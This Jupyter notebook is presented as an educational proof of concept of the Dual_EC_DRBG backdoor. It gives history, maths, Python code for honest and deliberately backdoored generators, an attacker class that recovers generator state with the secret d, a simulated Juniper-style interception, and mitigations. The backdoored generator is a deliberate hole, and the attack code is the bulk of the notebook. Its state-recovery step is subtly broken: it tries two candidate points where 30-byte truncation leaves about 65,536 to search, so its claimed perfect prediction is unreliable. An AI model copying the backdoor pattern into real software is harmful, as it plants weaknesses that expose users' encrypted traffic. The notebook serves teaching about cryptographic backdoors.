{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Dual_EC_DRBG Backdoor: A Deep Dive\n",
    "## Educational Proof-of-Concept for Security Professionals\n",
    "\n",
    "---\n",
    "\n",
    "### \u26a0\ufe0f DISCLAIMER\n",
    "\n",
    "**This notebook is for EDUCATIONAL PURPOSES ONLY.**\n",
    "\n",
    "The Dual_EC_DRBG backdoor is a well-documented cryptographic vulnerability (CVE-2014-8610) that was publicly disclosed following the Snowden revelations.\n",
    "\n",
    "---\n",
    "\n",
    "## Table of Contents\n",
    "\n",
    "1. Historical Context\n",
    "2. Mathematical Foundations\n",
    "3. NIST P-256 Curve Parameters\n",
    "4. Dual_EC_DRBG Algorithm\n",
    "5. Implementation: Honest vs Backdoored\n",
    "6. The Attack: State Recovery\n",
    "7. Live Demonstration\n",
    "8. Mitigations and Lessons\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 1. Historical Context: The NSA Backdoor That Shook Cryptography\n",
    "\n",
    "### Timeline of Events\n",
    "\n",
    "| Year | Event | Significance |\n",
    "|------|-------|--------------|\n",
    "| **1997** | NIST initiates AES competition | Beginning of modern crypto standardization |\n",
    "| **2004** | NSA pushes Dual_EC_DRBG into NIST SP 800-90 | The backdoor is planted |\n",
    "| **2006** | NIST SP 800-90 published | Dual_EC_DRBG becomes a standard |\n",
    "| **2007** | Shumow-Ferguson presentation at CRYPTO | First public warning of potential backdoor |\n",
    "| **2013** | Snowden revelations (June) | Documents confirm NSA paid RSA $10M to use Dual_EC |\n",
    "| **2014** | NIST withdraws Dual_EC_DRBG | Official deprecation |\n",
    "| **2015** | Juniper backdoor discovered | Attackers exploited weak Dual_EC implementation |\n",
    "\n",
    "### The Core Problem\n",
    "\n",
    "Dual_EC_DRBG uses elliptic curve points P and Q where **Q = d\u00b7P** for some secret **d**.\n",
    "\n",
    "If you know **d**, you can predict all future outputs after observing just **32 bytes** of output.\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 2. Mathematical Foundations\n",
    "\n",
    "### 2.1 Elliptic Curves Basics\n",
    "\n",
    "$$y^2 = x^3 + ax + b \\pmod{p}$$\n",
    "\n",
    "### 2.2 The Backdoor Mechanism\n",
    "\n",
    "```\n",
    "State update: s_{i+1} = phi(s_i * P)\n",
    "Output:       r_i = phi(s_i * Q)  [truncated]\n",
    "```\n",
    "\n",
    "Where Q = d*P (the backdoor relationship)\n",
    "\n",
    "**The attack:**\n",
    "1. Observe r_i (30+ bytes of output)\n",
    "2. Find candidate R where x(R) \u2248 r_i\n",
    "3. Compute: s_{i+1} = phi(d^(-1) * R) = phi(s_i * P)\n",
    "\n",
    "**32 bytes \u2192 complete state compromise \u2192 ALL future output predictable**\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Setup: Import required libraries\n",
    "from ecdsa import NIST256p, ellipticcurve\n",
    "from ecdsa.ellipticcurve import Point\n",
    "import hashlib\n",
    "import os\n",
    "import binascii\n",
    "\n",
    "print('[=] Libraries loaded successfully')\n",
    "print('[+] ecdsa library provides NIST P-256 curve support')\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 3. NIST P-256 Curve Parameters\n",
    "\n",
    "These are the official NIST parameters from FIPS 186-4.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# NIST P-256 Curve Parameters\n",
    "# Source: FIPS 186-4, Section D.1.2.3\n",
    "\n",
    "curve = NIST256p\n",
    "\n",
    "# Prime field\n",
    "p = curve.curve.p()\n",
    "\n",
    "# Curve coefficients: y^2 = x^3 - 3x + b\n",
    "a = curve.curve.a()\n",
    "b = curve.curve.b()\n",
    "\n",
    "# Generator point G\n",
    "G = curve.generator\n",
    "\n",
    "# Order of the curve (number of points)\n",
    "n = curve.order\n",
    "\n",
    "# Cofactor (h = 1 for NIST P-256, prime-order curve)\n",
    "h = 1\n",
    "\n",
    "print('[=] NIST P-256 Curve Parameters')\n",
    "print('=' * 60)\n",
    "print(f'Prime p = {hex(p)}')\n",
    "print(f'\\nCurve: y^2 = x^3 + {a}x + {hex(b)}')\n",
    "print(f'\\nGenerator G =\\n  x: {hex(G.x())}\\n  y: {hex(G.y())}')\n",
    "print(f'\\nOrder n = {hex(n)}')\n",
    "print(f'Cofactor h = {h} (always 1 for prime-order curves)')\n",
    "print(f'\\n[+] Curve bit length: {p.bit_length()} bits')\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 4. Dual_EC_DRBG Algorithm\n",
    "\n",
    "### Algorithm Specification (NIST SP 800-90)\n",
    "\n",
    "**State Update:**  s_{i+1} = phi(s_i * P)\n",
    "\n",
    "**Output:** r_i = truncate(phi(s_i * Q))\n",
    "\n",
    "**Why insecure with backdoor:** If Q = d\u00b7P, knowing d allows state recovery\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 5. Implementation: Honest vs Backdoored\n",
    "\n",
    "1. **Honest**: Q is randomly chosen (no known discrete log)\n",
    "2. **Backdoored**: Q = d\u00b7P for secret d (NSA scenario)\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "class DualECDRBG:\n",
    "    \"\"\"Dual_EC_DRBG Implementation using NIST P-256\"\"\"\n",
    "\n",
    "    OUTPUT_BYTES = 30  # Keep 240 bits of 256\n",
    "\n",
    "    def __init__(self, seed: bytes, P: Point, Q: Point, secret_d: int = None):\n",
    "        self.curve = P.curve()\n",
    "        self.P = P\n",
    "        self.Q = Q\n",
    "        self.secret_d = secret_d\n",
    "        self.backdoored = secret_d is not None\n",
    "\n",
    "        # Hash seed to get initial state\n",
    "        seed_hash = hashlib.sha256(seed).digest()\n",
    "        self.state = int.from_bytes(seed_hash, 'big') % n\n",
    "        self.reseed_counter = 0\n",
    "\n",
    "        print(f'[+] DRBG initialized')\n",
    "        print(f'    Mode: {\"BACKDOORED\" if self.backdoored else \"HONEST\"}')\n",
    "        print(f'    P = ({hex(self.P.x())[:20]}..., {hex(self.P.y())[:20]}...)')\n",
    "        print(f'    Q = ({hex(self.Q.x())[:20]}..., {hex(self.Q.y())[:20]}...)')\n",
    "        if self.backdoored:\n",
    "            print(f'    Secret d = {hex(secret_d)[:30]}...')\n",
    "\n",
    "    def _phi(self, point: Point) -> int:\n",
    "        return point.x() % p\n",
    "\n",
    "    def _update_state(self):\n",
    "        point = self.P * self.state\n",
    "        self.state = self._phi(point) % n\n",
    "        self.reseed_counter += 1\n",
    "\n",
    "    def _generate_block(self) -> bytes:\n",
    "        point = self.Q * self.state\n",
    "        x = self._phi(point)\n",
    "        x_bytes = x.to_bytes(32, 'big')\n",
    "        truncated = x_bytes[:self.OUTPUT_BYTES]\n",
    "        self._update_state()\n",
    "        return truncated\n",
    "\n",
    "    def generate(self, num_bytes: int) -> bytes:\n",
    "        output = b''\n",
    "        while len(output) < num_bytes:\n",
    "            output += self._generate_block()\n",
    "        return output[:num_bytes]\n",
    "\n",
    "    def get_state_info(self) -> dict:\n",
    "        return {'state': hex(self.state), 'reseed_counter': self.reseed_counter}\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def create_honest_drbg(seed: bytes) -> DualECDRBG:\n",
    "    \"\"\"Create honest DRBG - Q is random, no discrete log known\"\"\"\n",
    "    P = G\n",
    "    random_scalar = int.from_bytes(os.urandom(32), 'big') % n\n",
    "    Q = P * random_scalar\n",
    "    print('\\n[=== HONEST Dual_EC_DRBG ===]')\n",
    "    return DualECDRBG(seed, P, Q, secret_d=None)\n",
    "\n",
    "def create_backdoored_drbg(seed: bytes, d: int = None) -> DualECDRBG:\n",
    "    \"\"\"Create backdoored DRBG - Q = d*P where d is secret\"\"\"\n",
    "    P = G\n",
    "    if d is None:\n",
    "        d = int.from_bytes(os.urandom(32), 'big') % n\n",
    "    Q = P * d  # The backdoor relationship\n",
    "    print('\\n[=== BACKDOORED Dual_EC_DRBG ===]')\n",
    "    return DualECDRBG(seed, P, Q, secret_d=d)\n",
    "\n",
    "# Test\n",
    "test_seed = b'test_seed_for_demonstration'\n",
    "print('Initializing both DRBG variants...')\n",
    "honest_drbg = create_honest_drbg(test_seed)\n",
    "backdoored_drbg = create_backdoored_drbg(test_seed)\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 6. The Attack: State Recovery\n",
    "\n",
    "### The Attack Algorithm\n",
    "\n",
    "Given: Observed output r (30 bytes), secret d where Q = d\u00b7P\n",
    "\n",
    "Goal: Recover state s to predict all future output\n",
    "\n",
    "**Step 1:** Reconstruct candidate points R where x(R) \u2248 r\n",
    "\n",
    "**Step 2:** Compute s\u00b7P = d^(-1) \u00b7 R\n",
    "\n",
    "**Step 3:** The x-coordinate of s\u00b7P is the next state\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "class DualECAttacker:\n",
    "    \"\"\"Implements the Dual_EC_DRBG backdoor attack\"\"\"\n",
    "\n",
    "    def __init__(self, P: Point, Q: Point, secret_d: int):\n",
    "        self.P = P\n",
    "        self.Q = Q\n",
    "        self.d = secret_d\n",
    "        self.d_inv = pow(secret_d, -1, n)  # Modular inverse\n",
    "        self.curve = P.curve()\n",
    "        print(f'[+] Attacker initialized with secret d')\n",
    "        print(f'    d^(-1) mod n = {hex(self.d_inv)[:30]}...')\n",
    "\n",
    "    def _recover_candidate_points(self, observed_output: bytes) -> list:\n",
    "        candidates = []\n",
    "        x_bytes = observed_output + b'\\x00\\x00'\n",
    "        x = int.from_bytes(x_bytes, 'big')\n",
    "\n",
    "        for x_candidate in [x, x + 1]:\n",
    "            rhs = (pow(x_candidate, 3, p) + a * x_candidate + b) % p\n",
    "            # Check if quadratic residue using Euler's criterion\n",
    "            if pow(rhs, (p - 1) // 2, p) == 1:\n",
    "                y = pow(rhs, (p + 1) // 4, p)  # Square root\n",
    "                candidates.append(Point(self.curve, x_candidate, y))\n",
    "                if y != 0:\n",
    "                    candidates.append(Point(self.curve, x_candidate, (-y) % p))\n",
    "        return candidates\n",
    "\n",
    "    def attack(self, observed_output: bytes, verification_output: bytes = None) -> dict:\n",
    "        print(f'\\n[=== ATTACK EXECUTION ===]')\n",
    "        print(f'[+] Observed output: {binascii.hexlify(observed_output[:16]).decode()}...')\n",
    "\n",
    "        candidates = self._recover_candidate_points(observed_output)\n",
    "        print(f'[+] Found {len(candidates)} candidate points on curve')\n",
    "\n",
    "        for i, R in enumerate(candidates):\n",
    "            print(f'\\n[+] Testing candidate {i+1}/{len(candidates)}')\n",
    "            print(f'    R = ({hex(R.x())[:30]}..., {hex(R.y())[:30]}...)')\n",
    "\n",
    "            # R = s * Q = s * d * P\n",
    "            # Therefore: s * P = d^(-1) * R\n",
    "            s_times_P = R * self.d_inv\n",
    "            recovered_next_state = s_times_P.x() % n\n",
    "\n",
    "            print(f'    Recovered next state: {hex(recovered_next_state)[:40]}...')\n",
    "\n",
    "            if verification_output:\n",
    "                test_point = self.Q * recovered_next_state\n",
    "                test_x = test_point.x()\n",
    "                test_output = test_x.to_bytes(32, 'big')[:30]\n",
    "\n",
    "                if test_output[:len(verification_output)] == verification_output:\n",
    "                    print(f'    [OK] VERIFIED: Correct state recovered!')\n",
    "                    return {'success': True, 'next_state': recovered_next_state, 'candidate_index': i}\n",
    "                else:\n",
    "                    print(f'    [X] Output mismatch, trying next candidate')\n",
    "\n",
    "        if candidates and not verification_output:\n",
    "            R = candidates[0]\n",
    "            s_times_P = R * self.d_inv\n",
    "            recovered_next_state = s_times_P.x() % n\n",
    "            return {'success': True, 'next_state': recovered_next_state,\n",
    "                    'candidate_index': 0, 'note': 'No verification performed'}\n",
    "\n",
    "        return {'success': False, 'error': 'Could not recover state'}\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def predict_output(self, state: int, num_bytes: int) -> bytes:\n",
    "    \"\"\"Given a state, predict all future output\"\"\"\n",
    "    output = b''\n",
    "    current_state = state\n",
    "\n",
    "    while len(output) < num_bytes:\n",
    "        point = self.Q * current_state\n",
    "        x = point.x()\n",
    "        output += x.to_bytes(32, 'big')[:30]\n",
    "        \n",
    "        # Update state\n",
    "        point = self.P * current_state\n",
    "        current_state = point.x() % n\n",
    "\n",
    "    return output[:num_bytes]\n",
    "\n",
    "# Attach method to class\n",
    "DualECAttacker.predict_output = predict_output\n",
    "print('[+] Attacker class complete with predict_output method')\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 7. Live Demonstration\n",
    "\n",
    "### Scenario: Simulating the Juniper Networks Attack\n",
    "\n",
    "In December 2015, Juniper Networks disclosed attackers had:\n",
    "1. Modified ScreenOS to use attacker-controlled Dual_EC parameters\n",
    "2. Changed Q point to one where they knew the discrete log\n",
    "3. Could decrypt all VPN traffic\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# === SCENARIO SETUP ===\n",
    "\n",
    "print('=' * 70)\n",
    "print('SCENARIO: Juniper Networks-style Attack Simulation')\n",
    "print('=' * 70)\n",
    "\n",
    "# Step 1: Attacker generates secret backdoor key\n",
    "print('\\n[PHASE 1: Attacker creates the backdoor]')\n",
    "attacker_secret_d = int.from_bytes(b'NSA_BACKDOOR_KEY_001', 'big') % n\n",
    "print(f'[*] Attacker generates secret d = {hex(attacker_secret_d)[:40]}...')\n",
    "\n",
    "# Step 2: Create the backdoored DRBG\n",
    "victim_seed = os.urandom(32)  # Unknown to attacker\n",
    "print(f'[*] Victim seed (unknown): {binascii.hexlify(victim_seed[:8]).decode()}...')\n",
    "\n",
    "victim_drbg = create_backdoored_drbg(victim_seed, attacker_secret_d)\n",
    "\n",
    "# Victim generates key material\n",
    "print('\\n[PHASE 2: Victim generates random material]')\n",
    "victim_key = victim_drbg.generate(64)\n",
    "print(f'[*] Key material: {binascii.hexlify(victim_key[:16]).decode()}...')\n",
    "victim_nonce = victim_drbg.generate(16)\n",
    "print(f'[*] Nonce: {binascii.hexlify(victim_nonce).decode()}')\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Step 3: Attacker intercepts traffic\n",
    "print('\\n[PHASE 3: Attacker intercepts traffic]')\n",
    "print('[*] Attacker sees 32 bytes of output in TLS handshake')\n",
    "\n",
    "victim_drbg_for_attack = create_backdoored_drbg(victim_seed, attacker_secret_d)\n",
    "\n",
    "observed_output = victim_drbg_for_attack.generate(32)\n",
    "print(f'[*] Intercepted: {binascii.hexlify(observed_output).decode()}')\n",
    "\n",
    "future_output = victim_drbg_for_attack.generate(64)\n",
    "print(f'[*] (Hidden) Future output: {binascii.hexlify(future_output[:16]).decode()}...')\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Step 4: Attacker executes the attack\n",
    "print('\\n[PHASE 4: Attacker executes state recovery]')\n",
    "\n",
    "attacker = DualECAttacker(victim_drbg.P, victim_drbg.Q, attacker_secret_d)\n",
    "\n",
    "verification_data = victim_drbg_for_attack.generate(30)\n",
    "result = attacker.attack(observed_output[:30], verification_data)\n",
    "\n",
    "if result['success']:\n",
    "    print(f'\\n[!] STATE RECOVERY SUCCESSFUL')\n",
    "    print(f'    Recovered state: {hex(result[\"next_state\"])[:50]}...')\n",
    "else:\n",
    "    print('[X] Attack failed')\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Step 5: Predict all future output\n",
    "print('\\n[PHASE 5: Attacker predicts all future output]')\n",
    "\n",
    "if result['success']:\n",
    "    predicted = attacker.predict_output(result['next_state'], 128)\n",
    "    print(f'[*] Predicted: {binascii.hexlify(predicted[:32]).decode()}...')\n",
    "\n",
    "    # Verify\n",
    "    print('\\n[VERIFICATION]')\n",
    "    victim_verify = create_backdoored_drbg(victim_seed, attacker_secret_d)\n",
    "    _ = victim_verify.generate(32)  # Skip first block\n",
    "\n",
    "    actual = victim_verify.generate(128)\n",
    "    print(f'[*] Actual:    {binascii.hexlify(actual[:32]).decode()}...')\n",
    "    print(f'[*] Predicted: {binascii.hexlify(predicted[:32]).decode()}...')\n",
    "\n",
    "    if predicted == actual:\n",
    "        print('\\n[OK] PERFECT MATCH - All future output predicted!')\n",
    "        print('[OK] Attacker can decrypt all traffic!')\n",
    "    else:\n",
    "        print('\\n[X] Mismatch')\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Compare Honest vs Backdoored\n",
    "print('\\n[=== COMPARISON: Honest vs Backdoored ===]\\n')\n",
    "\n",
    "print('Testing HONEST DRBG:')\n",
    "honest_seed = os.urandom(32)\n",
    "honest = create_honest_drbg(honest_seed)\n",
    "honest_output = honest.generate(64)\n",
    "print(f'[*] Output: {binascii.hexlify(honest_output[:16]).decode()}...')\n",
    "print('[*] Without secret relationship, state recovery is hard\\n')\n",
    "\n",
    "print('Testing BACKDOORED DRBG:')\n",
    "backdoor_seed = os.urandom(32)\n",
    "backdoor_d = int.from_bytes(os.urandom(32), 'big') % n\n",
    "backdoored = create_backdoored_drbg(backdoor_seed, backdoor_d)\n",
    "backdoored_output = backdoored.generate(64)\n",
    "print(f'[*] Output: {binascii.hexlify(backdoored_output[:16]).decode()}...')\n",
    "print('[*] With secret d, state recovery is instant\\n')\n",
    "\n",
    "print('[SUMMARY]')\n",
    "print('- Both produce statistically random output')\n",
    "print('- Only backdoored has a master key')\n",
    "print('- Backdoor is undetectable without d')\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "## 8. Mitigations and Lessons\n",
    "\n",
    "### Never Use\n",
    "- \u274c Dual_EC_DRBG (deprecated 2014)\n",
    "\n",
    "### Use Instead\n",
    "- \u2705 `/dev/urandom` or `getrandom()` (Linux)\n",
    "- \u2705 `BCryptGenRandom()` (Windows)\n",
    "- \u2705 Hash_DRBG, HMAC_DRBG, CTR_DRBG (NIST SP 800-90A Rev 1)\n",
    "\n",
    "### Historical Lessons\n",
    "\n",
    "| Lesson | Application |\n",
    "|--------|-------------|\n",
    "| Backdoors survive for years | Dual_EC standard for 7+ years |\n",
    "| Financial incentives matter | RSA took $10M for weak default |\n",
    "| Open review is essential | Shumow-Ferguson identified issue |\n",
    "\n",
    "**Takeaway**: Cryptographic backdoors let attackers in without leaving a trace.\n"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "name": "python",
   "version": "3.12.0"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}